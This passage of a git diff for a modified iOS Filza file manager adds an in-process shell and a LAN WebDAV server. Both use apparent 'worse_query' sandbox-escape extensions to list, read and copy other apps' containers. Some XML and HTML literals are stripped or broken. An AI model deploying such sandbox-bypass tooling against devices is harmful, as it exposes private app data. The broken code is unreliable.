device = [NSString stringWithUTF8String:machine] ?: device; + free(machine); + } + NSString *os = [NSString stringWithFormat:@"iOS %@", + NSProcessInfo.processInfo.operatingSystemVersionString]; + NSString *uptime = [NSString stringWithFormat:@"%.0f min", + NSProcessInfo.processInfo.systemUptime / 60.0]; + double memory = NSProcessInfo.processInfo.physicalMemory / 1073741824.0; + struct statfs disk = {0}; + statfs("/", &disk); + double total = (double)disk.f_blocks * disk.f_bsize / 1073741824.0; + double freeSpace = (double)disk.f_bavail * disk.f_bsize / 1073741824.0; + + const char *logo[] = { + " 'c.", + " ,xNMM.", + " .OMMMMo", + " lMM\"", + " .;loddo:. .olloddol;.", + " cKMMMMMMMMMMNWMMMMMMMMMM0:", + " .KMMMMMMMMMMMMMMMMMMMMMMMWd.", + " XMMMMMMMMMMMMMMMMMMMMMMMX.", + ";MMMMMMMMMMMMMMMMMMMMMMMM:", + ":MMMMMMMMMMMMMMMMMMMMMMMM:", + ".MMMMMMMMMMMMMMMMMMMMMMMMX.", + " kMMMMMMMMMMMMMMMMMMMMMMMMWd.", + " 'XMMMMMMMMMMMMMMMMMMMMMMMMMMk", + " 'XMMMMMMMMMMMMMMMMMMMMMMMMK.", + " kMMMMMMMMMMMMMMMMMMMMMMd", + " ;KMMMMMMMWXXWMMMMMMMk.", + " 'cooc*\" \"*coo'", + NULL + }; + NSMutableString *out = [NSMutableString string]; + [out appendString:@"\r\n"]; + NSInteger logoCount = 0; + while (logo[logoCount]) logoCount++; + NSArray *lines = @[ + [NSString stringWithFormat:@"filza27.2@%@", device], + @"-----------------", + [NSString stringWithFormat:@"OS: %@", os], + [NSString stringWithFormat:@"Host: %@", device], + [NSString stringWithFormat:@"Kernel: %s %s", info.sysname, info.release], + [NSString stringWithFormat:@"Uptime: %@", uptime], + [NSString stringWithFormat:@"Memory: %.1f GB", memory], + [NSString stringWithFormat:@"Disk: %.1f/%.1f GB", total - freeSpace, total], + [NSString stringWithFormat:@"Shell: filza27.2 (%@)", gIOSAvailable ? @"ios_system" : @"builtin"], + [NSString stringWithFormat:@"Terminal: %@", @"Filza WQ"], + [NSString stringWithFormat:@"WQ roots: %lu", (unsigned long)WQAccessibleRoots().count], + ]; + for (NSInteger i = 0; i < MAX(logoCount, (NSInteger)lines.count); i++) { + NSString *left = i < logoCount ? @(logo[i]) : @""; + NSString *right = i < (NSInteger)lines.count ? lines[i] : @""; + [out appendFormat:@"%@%@%@\r\n", left, + left.length < 52 ? [@"" stringByPaddingToLength:52 - left.length + withString:@" " startingAtIndex:0] : @" ", right]; + } + [out appendString:@"\r\n"]; + WQShellWrite(context, out.UTF8String); +} + +static void WQPrintSBXHelp(WQShellContext *context) +{ + WQShellWrite(context, + "\r\nFilza WQ / worse_query shell\r\n" + "================================\r\n" + " sbxhelp this help\r\n" + " sbx_status active grants and mount status\r\n" + " sbx_remount re-run container discovery\r\n" + " sbx_grant [-c] grant a sandbox extension\r\n" + " sbx_release release extensions\r\n" + " sbx_ls list a directory\r\n" + " sbx_cat print a file\r\n" + " sbx_cp copy a file\r\n" + " sbx_hexdump [-n N] hex dump\r\n" + " sbx_containers [root] enumerate container UUIDs\r\n" + " sbx_id identify a container\r\n" + " mount list mounted filesystems\r\n" + " extract [-C dir] unzip/tar/gz/7z/rar/xz/bz2/zst\r\n" + " neofetch system information\r\n" + " respring restart SpringBoard\r\n" + " apt / apt-get update|list|search|show|install|remove\r\n" + " dpkg / dpkg-deb -i|-l|-s|-L|-r|-x|--contents\r\n" + " The full a-Shell mini command set is also available.\r\n\r\n"); +} + +static void WQShellLoop(WQShellContext *context) +{ + @autoreleasepool { + [NSThread currentThread].name = @"filza27.2-shell"; + if (!WQTerminalPrepare()) + WQShellWrite(context, "ios_system unavailable; using built-in commands\r\n"); + char sessionName[64]; + snprintf(sessionName, sizeof(sessionName), "filza-wq-%p", context); + if (iosSwitchSession) iosSwitchSession(sessionName); + if (iosSetTty) iosSetTty(context.output); + if (iosSetStreams) iosSetStreams(context.input, context.output, context.error); + + WQShellWrite(context, + "\r\nfilza27.2 — iOS 27.2 worse_query terminal\r\n" + "Type 'help' for commands. Filesystem uses the active sandbox extensions.\r\n\r\n"); + WQShellPrompt(context); + + NSMutableString *line = [NSMutableString string]; + NSInteger historyIndex = -1; + char character; + while (context.running) { + ssize_t got = read(context.descriptor, &character, 1); + if (got <= 0) break; + if (character == '\r' || character == '\n') { + WQShellWrite(context, "\r\n"); + NSString *command = [line stringByTrimmingCharactersInSet: + NSCharacterSet.whitespaceCharacterSet]; + [line setString:@""]; + historyIndex = -1; + if (command.length) { + if (![context.history.lastObject isEqualToString:command]) { + [context.history addObject:command]; + if (context.history.count > 100) + [context.history removeObjectAtIndex:0]; + } + NSArray *words = WQSplitCommand(command); + NSString *first = words.firstObject; + if ([first isEqualToString:@"exit"] || + [first isEqualToString:@"logout"]) { + WQShellWrite(context, "logout\r\n"); + break; + } + if ([first isEqualToString:@"clear"]) { + WQShellWrite(context, "\033[2J\033[H"); + } else if ([first isEqualToString:@"cd"]) { + NSString *target = words.count > 1 ? words[1] : NSHomeDirectory(); + WQChangeDirectory(context, target); + } else if ([first hasPrefix:@"sbx_"]) { + if (!WQRunSBXCommand(words, context)) + WQShellPrintf(context, @"%@: unknown sbx command\r\n", + first); + } else if ([first isEqualToString:@"respring"] || + [first isEqualToString:@"springboard"]) { + WQShellWrite(context, "respring: restarting SpringBoard...\r\n"); + WQPerformRespring(); + } else if ([first isEqualToString:@"mount"]) { + WQPrintMounts(context); + } else if ([first isEqualToString:@"neofetch"]) { + WQPrintNeofetch(context); + } else if ([first isEqualToString:@"sbxhelp"] || + [first isEqualToString:@"badshell"]) { + WQPrintSBXHelp(context); + } else if ([first isEqualToString:@"apt"] || + [first isEqualToString:@"apt-get"] || + [first isEqualToString:@"dpkg"] || + [first isEqualToString:@"dpkg-deb"]) { + WQRunPackages(words, context.output, context.error); + fflush(context.output); + } else if (WQRunArchiveCommand(words, context)) { + // extracted with libarchive + } else if (WQRunExternalExecutable(words, context)) { + // executed an explicit executable path + } else if (!gIOSAvailable && WQFallbackCommand(words, context)) { + // handled by fallback + } else { + int status = iosSystem ? iosSystem(command.UTF8String) : 127; + if (status != 0 && !gIOSAvailable) { + WQShellPrintf(context, @"%s: command not found\r\n", + first.UTF8String); + } + fflush(context.output); + } + } + WQShellPrompt(context); + continue; + } + if (character == 0x7f || character == 0x08) { + if (line.length) { + [line deleteCharactersInRange: + NSMakeRange(line.length - 1, 1)]; + WQShellWrite(context, "\b \b"); + } + continue; + } + if (character == 0x03) { + [line setString:@""]; + WQShellWrite(context, "^C\r\n"); + WQShellPrompt(context); + continue; + } + if (character == 0x04) { + if (line.length == 0) { + WQShellWrite(context, "logout\r\n"); + break; + } + continue; + } + if (character == 0x1b) { + char sequence[3] = {0}; + if (read(context.descriptor, sequence, 2) != 2) continue; + if (sequence[0] == '[' && (sequence[1] == 'A' || sequence[1] == 'B')) { + if (context.history.count == 0) continue; + if (historyIndex < 0) historyIndex = (NSInteger)context.history.count; + historyIndex += (sequence[1] == 'A') ? -1 : 1; + if (historyIndex < 0) historyIndex = 0; + if (historyIndex >= (NSInteger)context.history.count) + historyIndex = (NSInteger)context.history.count; + for (NSUInteger i = 0; i < line.length; i++) + WQShellWrite(context, "\b \b"); + [line setString:@""]; + if (historyIndex < (NSInteger)context.history.count) { + [line appendString:context.history[(NSUInteger)historyIndex]]; + WQShellWrite(context, line.UTF8String); + } + } + continue; + } + if (character == '\t') continue; + if (character >= 0x20 || character < 0) { + [line appendFormat:@"%c", character]; + write(context.descriptor, &character, 1); + } + } + context.running = NO; + fclose(context.input); + fclose(context.output); + fclose(context.error); + close(context.descriptor); + } +} + +void WQTerminalSelfTest(void) +{ + int pid = -1; + int descriptor = WQTerminalSpawnShell(&pid, NSHomeDirectory()); + if (descriptor < 0) { + NSLog(@"[Terminal] self-test spawn failed"); + return; + } + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 600 * NSEC_PER_MSEC), + dispatch_get_global_queue(QOS_CLASS_UTILITY, 0), ^{ + NSMutableString *command = [NSMutableString stringWithString: + @"echo WQ_TERMINAL_OK\r" + @"sbxhelp\r" + @"neofetch\r" + @"sbx_status\r" + @"ssh -V\r" + @"apt --version\r" + @"dpkg --version\r" + @"perl -v\r" + @"rg --version\r" + @"make --version\r" + @"badshell\r" + @"ls /\r"]; + NSString *debPath = [[NSSearchPathForDirectoriesInDomains( + NSDocumentDirectory, NSUserDomainMask, YES).firstObject + stringByAppendingPathComponent:@"test.deb"] copy]; + if ([[NSFileManager defaultManager] fileExistsAtPath:debPath]) { + [command appendFormat:@"dpkg -i %@\r", debPath]; + [command appendString:@"dpkg -l\r"]; + [command appendString:@"dpkg -L wqtest\r"]; + NSString *installed = [[[debPath stringByDeletingLastPathComponent] + stringByAppendingPathComponent:@".terminal/root/usr/share/wqtest/hello.txt"] copy]; + [command appendFormat:@"cat %@\r", installed]; + } + write(descriptor, command.UTF8String, strlen(command.UTF8String)); + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 6000 * NSEC_PER_MSEC), + dispatch_get_global_queue(QOS_CLASS_UTILITY, 0), ^{ + char buffer[131072] = {0}; + ssize_t got = read(descriptor, buffer, sizeof(buffer) - 1); + NSLog(@"[Terminal] self-test output (%zd bytes):\n%s", + got, got > 0 ? buffer : "(none)"); + close(descriptor); + }); + }); +} + +void WQTerminalPresentTestUI(void) +{ + Class terminalClass = NSClassFromString(@"NewTerminalViewController"); + if (!terminalClass) terminalClass = NSClassFromString(@"TerminalViewController"); + if (!terminalClass) return; + id controller = nil; + SEL selector = NSSelectorFromString(@"initWithCommand:uiConfig:withKeyboard:"); + if ([terminalClass instancesRespondToSelector:selector]) { + id (*function)(id, SEL, id, id, BOOL) = (id(*)(id, SEL, id, id, BOOL))objc_msgSend; + controller = function([terminalClass alloc], selector, @"fish", nil, YES); + } else { + controller = [[terminalClass alloc] init]; + } + dispatch_async(dispatch_get_main_queue(), ^{ + UIWindow *window = nil; + for (UIWindow *candidate in UIApplication.sharedApplication.windows) + if (candidate.isKeyWindow && !candidate.isHidden) { window = candidate; break; } + if (!window) + for (UIWindow *candidate in UIApplication.sharedApplication.windows) + if (!candidate.isHidden) { window = candidate; break; } + [window.rootViewController presentViewController:controller + animated:YES completion:nil]; + }); +} + +int WQTerminalSpawnShell(int *pidOut, NSString *chdirPath) +{ + if (pidOut) *pidOut = 999999; + WQTerminalPrepare(); + if (chdirPath.length) chdir(chdirPath.fileSystemRepresentation); + + int master = -1; + int slave = -1; + struct winsize windowSize = {0}; + windowSize.ws_row = 40; + windowSize.ws_col = 100; + BOOL usingPTY = openpty(&master, &slave, NULL, NULL, &windowSize) == 0; + if (!usingPTY) { + // The app sandbox denies /dev/ptmx (openpty returns EPERM). A + // socketpair still gives the terminal UI a bidirectional descriptor, + // and our in-process shell implements its own line editing. + int pair[2] = {-1, -1}; + if (socketpair(AF_UNIX, SOCK_STREAM, 0, pair) != 0) { + NSLog(@"[Terminal] socketpair failed errno=%d", errno); + return -1; + } + master = pair[0]; + slave = pair[1]; + NSLog(@"[Terminal] openpty unavailable (errno=%d), using socketpair", errno); + } else { + // The UI puts the PTY in raw mode. Do the same on the slave so the + // shell loop receives one keystroke at a time. + struct termios attributes; + if (tcgetattr(slave, &attributes) == 0) { + cfmakeraw(&attributes); + attributes.c_oflag |= OPOST | ONLCR; + tcsetattr(slave, TCSANOW, &attributes); + } + } + + WQShellContext *context = [WQShellContext new]; + context.descriptor = slave; + context.input = fdopen(dup(slave), "r"); + context.output = fdopen(dup(slave), "w"); + context.error = fdopen(dup(slave), "w"); + context.history = [NSMutableArray array]; + context.running = YES; + setvbuf(context.output, NULL, _IONBF, 0); + setvbuf(context.error, NULL, _IONBF, 0); + + dispatch_queue_t queue = dispatch_queue_create( + "com.filzaslop.worsequery.shell", DISPATCH_QUEUE_SERIAL); + dispatch_async(queue, ^{ WQShellLoop(context); }); + NSLog(@"[Terminal] in-process shell master=%d slave=%d", master, slave); + return master; +} diff --git a/WQWebDAVServer.h b/WQWebDAVServer.h new file mode 100644 index 0000000..2dc86c7 --- /dev/null +++ b/WQWebDAVServer.h @@ -0,0 +1,15 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Starts the in-process WebDAV server. Filza normally starts a root launch +/// daemon for this; on a normally signed app the daemon path is unavailable, +/// so this server lives in the Filza process and uses the active worse_query +/// extensions. +FOUNDATION_EXPORT BOOL WQWebDAVStart(NSString *_Nullable *_Nullable error); +FOUNDATION_EXPORT void WQWebDAVStop(void); +FOUNDATION_EXPORT BOOL WQWebDAVIsRunning(void); +FOUNDATION_EXPORT NSString *WQWebDAVURL(void); +FOUNDATION_EXPORT NSInteger WQWebDAVPort(void); + +NS_ASSUME_NONNULL_END diff --git a/WQWebDAVServer.m b/WQWebDAVServer.m new file mode 100644 index 0000000..23634f2 --- /dev/null +++ b/WQWebDAVServer.m @@ -0,0 +1,1151 @@ +// +// WQWebDAVServer.m +// FilzaSlop +// +// Small in-process WebDAV/HTTP server. Filza's stock WebDAV mode launches a +// root launch daemon; that cannot work in a normally signed app. This server +// serves the same virtual root using the sandbox extensions consumed by +// worse_query, entirely inside the Filza process. +// + +#import "WQWebDAVServer.h" +#import "MCMFilzaIntegration.h" + +#import +#import +#import +#import + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static NSString *const kWQServerName = @"FilzaSlop WQ"; +static const NSInteger kWQDefaultPort = 11111; +static const NSUInteger kWQMaxBodyLength = 1024UL * 1024UL * 1024UL; + +static int gListen4 = -1; +static int gListen6 = -1; +static BOOL gRunning; +static NSString *gRootPath; +static NSString *gUsername; +static NSString *gPassword; +static dispatch_queue_t gConnectionQueue; +static NSNetService *gBonjourService; +static NSInteger gBoundPort; +static AVAudioPlayer *gSilentPlayer; +static UIBackgroundTaskIdentifier gBackgroundTask; +static BOOL gBackgroundTaskActive; +static NSObject *gServerLock; + +#pragma mark - Small helpers + +static NSString *WQHTTPDate(NSDate *date) +{ + static NSDateFormatter *formatter; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + formatter = [NSDateFormatter new]; + formatter.locale = [NSLocale localeWithLocaleIdentifier:@"en_US_POSIX"]; + formatter.timeZone = [NSTimeZone timeZoneWithAbbreviation:@"GMT"]; + formatter.dateFormat = @"EEE, dd MMM yyyy HH:mm:ss 'GMT'"; + }); + @synchronized (formatter) { + return [formatter stringFromDate:date ?: [NSDate date]]; + } +} + +static NSString *WQXMLEscape(NSString *text) +{ + NSMutableString *value = [text mutableCopy] ?: [NSMutableString string]; + [value replaceOccurrencesOfString:@"&" withString:@"&" + options:0 range:NSMakeRange(0, value.length)]; + [value replaceOccurrencesOfString:@"<" withString:@"<" + options:0 range:NSMakeRange(0, value.length)]; + [value replaceOccurrencesOfString:@">" withString:@">" + options:0 range:NSMakeRange(0, value.length)]; + [value replaceOccurrencesOfString:@"\"" withString:@""" + options:0 range:NSMakeRange(0, value.length)]; + [value replaceOccurrencesOfString:@"'" withString:@"'" + options:0 range:NSMakeRange(0, value.length)]; + return value; +} + +static NSString *WQEncodeComponent(NSString *component) +{ + NSCharacterSet *allowed = [NSCharacterSet + characterSetWithCharactersInString: + @"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&'()*+,;=:@"]; + return [component stringByAddingPercentEncodingWithAllowedCharacters:allowed] ?: component; +} + +static NSString *WQEncodeHref(NSString *relativePath, BOOL directory) +{ + if (relativePath.length == 0) return directory ? @"/" : @"/"; + NSMutableArray *components = [NSMutableArray array]; + for (NSString *component in [relativePath componentsSeparatedByString:@"/"]) { + if (component.length == 0) continue; + [components addObject:WQEncodeComponent(component)]; + } + NSString *encoded = [components componentsJoinedByString:@"/"]; + if (directory) encoded = [encoded stringByAppendingString:@"/"]; + return [@"/" stringByAppendingString:encoded]; +} + +static NSString *WQRelativePath(NSString *absolutePath) +{ + NSString *root = gRootPath; + if (!root.length) return absolutePath.lastPathComponent ?: @""; + if ([absolutePath isEqualToString:root]) return @""; + NSString *prefix = [root stringByAppendingString:@"/"]; + if ([absolutePath hasPrefix:prefix]) + return [absolutePath substringFromIndex:prefix.length]; + return absolutePath.lastPathComponent ?: @""; +} + +static NSString *WQMimeType(NSString *path) +{ + static NSDictionary *types; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + types = @{ + @"html": @"text/html; charset=utf-8", @"htm": @"text/html; charset=utf-8", + @"txt": @"text/plain; charset=utf-8", @"log": @"text/plain; charset=utf-8", + @"md": @"text/markdown; charset=utf-8", + @"css": @"text/css; charset=utf-8", @"js": @"application/javascript", + @"json": @"application/json", @"xml": @"application/xml", + @"plist": @"application/x-plist", @"mobileprovision": @"application/octet-stream", + @"png": @"image/png", @"jpg": @"image/jpeg", @"jpeg": @"image/jpeg", + @"gif": @"image/gif", @"heic": @"image/heic", @"heif": @"image/heif", + @"webp": @"image/webp", @"svg": @"image/svg+xml", + @"pdf": @"application/pdf", @"zip": @"application/zip", + @"gz": @"application/gzip", @"tgz": @"application/gzip", + @"tar": @"application/x-tar", @"deb": @"application/x-debian-package", + @"mp3": @"audio/mpeg", @"m4a": @"audio/mp4", @"wav": @"audio/wav", + @"mp4": @"video/mp4", @"mov": @"video/quicktime", @"m4v": @"video/x-m4v", + @"dylib": @"application/octet-stream", @"framework": @"application/octet-stream", + @"sqlite": @"application/vnd.sqlite3", @"db": @"application/vnd.sqlite3", + }; + }); + return types[path.pathExtension.lowercaseString] ?: @"application/octet-stream"; +} + +static NSString *WQStatusText(NSInteger status) +{ + switch (status) { + case 200: return @"OK"; + case 201: return @"Created"; + case 204: return @"No Content"; + case 206: return @"Partial Content"; + case 207: return @"Multi-Status"; + case 301: return @"Moved Permanently"; + case 400: return @"Bad Request"; + case 401: return @"Unauthorized"; + case 403: return @"Forbidden"; + case 404: return @"Not Found"; + case 405: return @"Method Not Allowed"; + case 409: return @"Conflict"; + case 412: return @"Precondition Failed"; + case 416: return @"Range Not Satisfiable"; + case 423: return @"Locked"; + case 500: return @"Internal Server Error"; + case 501: return @"Not Implemented"; + case 507: return @"Insufficient Storage"; + default: return @"Error"; + } +} + +static NSString *WQPrimaryIPv4(void) +{ + struct ifaddrs *interfaces = NULL; + if (getifaddrs(&interfaces) != 0) return nil; + NSString *fallback = nil; + for (struct ifaddrs *cursor = interfaces; cursor; cursor = cursor->ifa_next) { + if (!cursor->ifa_addr || cursor->ifa_addr->sa_family != AF_INET) continue; + NSString *name = [NSString stringWithUTF8String:cursor->ifa_name ?: ""]; + if ([name isEqualToString:@"lo0"]) continue; + char address[INET_ADDRSTRLEN] = {0}; + struct sockaddr_in *sin = (struct sockaddr_in *)cursor->ifa_addr; + if (!inet_ntop(AF_INET, &sin->sin_addr, address, sizeof(address))) continue; + NSString *value = [NSString stringWithUTF8String:address]; + if (!value.length) continue; + if ([name isEqualToString:@"en0"] || [name isEqualToString:@"en1"]) + return value; + if (!fallback && ![value hasPrefix:@"169.254."]) fallback = value; + } + freeifaddrs(interfaces); + return fallback; +} + +NSInteger WQWebDAVPort(void) +{ + id value = [NSUserDefaults.standardUserDefaults objectForKey:@"air-port"]; + if (!value) { + Class prefsClass = NSClassFromString(@"TGPreferences"); + id prefs = [prefsClass respondsToSelector:NSSelectorFromString(@"sharedInstance")] + ? ((id(*)(id, SEL))objc_msgSend)(prefsClass, + NSSelectorFromString(@"sharedInstance")) : nil; + if ([prefs respondsToSelector:NSSelectorFromString(@"objectForPreferenceKey:")]) + value = ((id(*)(id, SEL, id))objc_msgSend)(prefs, + NSSelectorFromString(@"objectForPreferenceKey:"), @"air-port"); + } + NSInteger port = [value respondsToSelector:@selector(integerValue)] + ? [value integerValue] : kWQDefaultPort; + if (port < 1024 || port > 65535) port = kWQDefaultPort; + return port; +} + +NSString *WQWebDAVURL(void) +{ + NSString *ip = WQPrimaryIPv4() ?: @"127.0.0.1"; + NSInteger port = gBoundPort > 0 ? gBoundPort : WQWebDAVPort(); + return [NSString stringWithFormat:@"http://%@:%ld/", ip, (long)port]; +} + +BOOL WQWebDAVIsRunning(void) +{ + return gRunning && (gListen4 >= 0 || gListen6 >= 0); +} + +#pragma mark - Socket reader + +@interface WQSocketReader : NSObject +@property (nonatomic) int descriptor; +@property (nonatomic, strong) NSMutableData *buffer; +@end + +@implementation WQSocketReader + +- (instancetype)initWithDescriptor:(int)descriptor +{ + self = [super init]; + if (!self) return nil; + _descriptor = descriptor; + _buffer = [NSMutableData data]; + return self; +} + +- (BOOL)fill +{ + uint8_t chunk[65536]; + ssize_t got = recv(self.descriptor, chunk, sizeof(chunk), 0); + if (got <= 0) return NO; + [self.buffer appendBytes:chunk length:(NSUInteger)got]; + return YES; +} + +- (NSData *)readUntil:(NSData *)delimiter +{ + while (YES) { + NSRange range = [self.buffer rangeOfData:delimiter + options:0 range:NSMakeRange(0, self.buffer.length)]; + if (range.location != NSNotFound) { + NSData *value = [self.buffer subdataWithRange: + NSMakeRange(0, range.location)]; + NSUInteger consumed = NSMaxRange(range); + [self.buffer replaceBytesInRange:NSMakeRange(0, consumed) + withBytes:NULL length:0]; + return value; + } + if (![self fill]) return nil; + } +} + +- (NSData *)readExact:(NSUInteger)length +{ + while (self.buffer.length < length) { + if (![self fill]) return nil; + } + NSData *value = [self.buffer subdataWithRange:NSMakeRange(0, length)]; + [self.buffer replaceBytesInRange:NSMakeRange(0, length) + withBytes:NULL length:0]; + return value; +} + +@end + +#pragma mark - Request + +@interface WQHTTPRequest : NSObject +@property (nonatomic, copy) NSString *method; +@property (nonatomic, copy) NSString *rawPath; +@property (nonatomic, copy) NSString *version; +@property (nonatomic, strong) NSDictionary *headers; +@property (nonatomic, strong) NSData *body; +@end + +@implementation WQHTTPRequest +@end + +static NSData *WQCRLF(void) +{ + static NSData *value; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + value = [@"\r\n" dataUsingEncoding:NSASCIIStringEncoding]; + }); + return value; +} + +static NSData *WQHeaderDelimiter(void) +{ + static NSData *value; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + value = [@"\r\n\r\n" dataUsingEncoding:NSASCIIStringEncoding]; + }); + return value; +} + +#pragma mark - Responses + +static void WQSendAll(int descriptor, const void *bytes, NSUInteger length) +{ + const uint8_t *cursor = bytes; + NSUInteger remaining = length; + while (remaining > 0) { + ssize_t sent = send(descriptor, cursor, remaining, 0); + if (sent <= 0) { + if (errno == EINTR) continue; + break; + } + cursor += sent; + remaining -= (NSUInteger)sent; + } +} + +static void WQRespond(int descriptor, NSInteger status, + NSDictionary *extraHeaders, + NSData *body, NSInteger contentLengthOverride) +{ + NSMutableString *head = [NSMutableString stringWithFormat: + @"HTTP/1.1 %ld %@\r\n", (long)status, WQStatusText(status)]; + [head appendFormat:@"Date: %@\r\n", WQHTTPDate([NSDate date])]; + [head appendFormat:@"Server: %@\r\n", kWQServerName]; + [head appendString:@"Connection: close\r\n"]; + [head appendString:@"Accept-Ranges: bytes\r\n"]; + + BOOL hasLength = NO; + for (NSString *key in extraHeaders) { + if ([key caseInsensitiveCompare:@"Content-Length"] == NSOrderedSame) + hasLength = YES; + [head appendFormat:@"%@: %@\r\n", key, extraHeaders[key]]; + } + if (!hasLength) { + NSInteger length = contentLengthOverride >= 0 + ? contentLengthOverride : (NSInteger)body.length; + [head appendFormat:@"Content-Length: %ld\r\n", (long)length]; + } + [head appendString:@"\r\n"]; + + NSData *headData = [head dataUsingEncoding:NSUTF8StringEncoding]; + WQSendAll(descriptor, headData.bytes, headData.length); + if (body.length > 0) + WQSendAll(descriptor, body.bytes, body.length); +} + +#pragma mark - Path handling + +static NSString *WQResolvePath(NSString *requestPath) +{ + NSString *decoded = [requestPath stringByRemovingPercentEncoding] ?: requestPath; + if (![decoded hasPrefix:@"/"]) return nil; + NSMutableArray *components = [NSMutableArray array]; + for (NSString *component in [decoded componentsSeparatedByString:@"/"]) { + if (component.length == 0 || [component isEqualToString:@"."]) continue; + if ([component isEqualToString:@".."]) { + if (components.count > 0) [components removeLastObject]; + continue; + } + [components addObject:component]; + } + NSString *relative = [components componentsJoinedByString:@"/"]; + if (relative.length == 0) return gRootPath; + return [gRootPath stringByAppendingPathComponent:relative]; +} + +static BOOL WQFileIsDirectory(NSString *path) +{ + BOOL directory = NO; + BOOL exists = [NSFileManager.defaultManager fileExistsAtPath:path + isDirectory:&directory]; + return exists && directory; +} + +static NSDictionary *WQBasicHeaders(NSString *contentType) +{ + NSMutableDictionary *headers = [NSMutableDictionary dictionary]; + headers[@"Content-Type"] = contentType ?: @"text/plain; charset=utf-8"; + return headers; +} + +#pragma mark - Request body + +static NSData *WQReadRequestBody(WQSocketReader *reader, WQHTTPRequest *request) +{ + NSString *transferEncoding = request.headers[@"transfer-encoding"]; + if ([transferEncoding.lowercaseString containsString:@"chunked"]) { + NSMutableData *body = [NSMutableData data]; + while (YES) { + NSData *lineData = [reader readUntil:WQCRLF()]; + if (!lineData) return nil; + NSString *line = [[NSString alloc] initWithData:lineData + encoding:NSISOLatin1StringEncoding]; + NSString *sizePart = [[line componentsSeparatedByString:@";"] firstObject]; + unsigned long long size = 0; + NSScanner *scanner = [NSScanner scannerWithString:sizePart ?: @""]; + if (![scanner scanHexLongLong:&size]) return nil; + if (size == 0) { + // Consume trailers until an empty line. + while (YES) { + NSData *trailer = [reader readUntil:WQCRLF()]; + if (!trailer) return nil; + if (trailer.length == 0) break; + } + break; + } + if (body.length + size > kWQMaxBodyLength) return nil; + NSData *chunk = [reader readExact:(NSUInteger)size]; + if (!chunk) return nil; + [body appendData:chunk]; + NSData *crlf = [reader readExact:2]; + if (!crlf) return nil; + } + return body; + } + + NSString *lengthValue = request.headers[@"content-length"]; + if (!lengthValue.length) return [NSData data]; + long long length = lengthValue.longLongValue; + if (length <= 0) return [NSData data]; + if ((unsigned long long)length > kWQMaxBodyLength) return nil; + return [reader readExact:(NSUInteger)length]; +} + +#pragma mark - WebDAV methods + +static NSString *WQPropResponse(NSString *path, BOOL isDirectory) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSDictionary *attributes = [fm attributesOfItemAtPath:path error:nil]; + NSDate *modified = attributes[NSFileModificationDate] ?: [NSDate date]; + unsigned long long size = [attributes[NSFileSize] unsignedLongLongValue]; + NSString *relative = WQRelativePath(path); + NSString *href = WQEncodeHref(relative, isDirectory); + NSString *displayName = relative.length == 0 + ? (gRootPath.lastPathComponent ?: @"FilzaSlop") : path.lastPathComponent; + + NSMutableString *xml = [NSMutableString string]; + [xml appendString:@""]; + [xml appendFormat:@"%@", WQXMLEscape(href)]; + [xml appendString:@""]; + [xml appendFormat:@"%@", + WQXMLEscape(displayName)]; + [xml appendString:@"" + @"" + @""]; + [xml appendFormat:@"%@", + WQHTTPDate(modified)]; + if (isDirectory) { + [xml appendString:@""]; + [xml appendString:@"httpd/unix-directory"]; + } else { + [xml appendString:@""]; + [xml appendFormat:@"%llu", size]; + [xml appendFormat:@"%@", + WQXMLEscape(WQMimeType(path))]; + } + [xml appendString:@"HTTP/1.1 200 OK" + @""]; + return xml; +} + +static void WQHandlePropfind(int descriptor, WQHTTPRequest *request, + NSString *path) +{ + BOOL exists = NO; + BOOL directory = WQFileIsDirectory(path); + exists = [NSFileManager.defaultManager fileExistsAtPath:path]; + if (!exists) { + WQRespond(descriptor, 404, WQBasicHeaders(@"text/plain"), + [@"Not Found" dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + + NSString *depth = request.headers[@"depth"] ?: @"1"; + NSMutableArray *paths = [NSMutableArray arrayWithObject:path]; + if (directory && ![depth isEqualToString:@"0"]) { + NSError *error = nil; + NSArray *names = [NSFileManager.defaultManager + contentsOfDirectoryAtPath:path error:&error]; + if (names) { + for (NSString *name in names) + [paths addObject:[path stringByAppendingPathComponent:name]]; + } else { + NSLog(@"[WQWebDAV] PROPFIND listing failed %@: %@", + path, error.localizedDescription); + } + } + + NSMutableString *xml = [NSMutableString stringWithString: + @"" + @""]; + for (NSString *item in paths) { + BOOL isDirectory = WQFileIsDirectory(item); + NSDictionary *attributes = [NSFileManager.defaultManager + attributesOfItemAtPath:item error:nil]; + if (!attributes) continue; + [xml appendString:WQPropResponse(item, isDirectory)]; + } + [xml appendString:@""]; + NSData *body = [xml dataUsingEncoding:NSUTF8StringEncoding]; + NSMutableDictionary *headers = [WQBasicHeaders( + @"application/xml; charset=utf-8") mutableCopy]; + headers[@"DAV"] = @"1, 2"; + WQRespond(descriptor, 207, headers, body, -1); +} + +static void WQHandleGet(int descriptor, WQHTTPRequest *request, + NSString *path, BOOL headOnly) +{ + NSFileManager *fm = NSFileManager.defaultManager; + BOOL directory = WQFileIsDirectory(path); + if (![fm fileExistsAtPath:path]) { + WQRespond(descriptor, 404, WQBasicHeaders(@"text/plain"), + [@"Not Found" dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + + if (directory) { + NSError *error = nil; + NSArray *names = [fm contentsOfDirectoryAtPath:path error:&error]; + NSMutableString *html = [NSMutableString stringWithFormat: + @"" + @"%@

%@

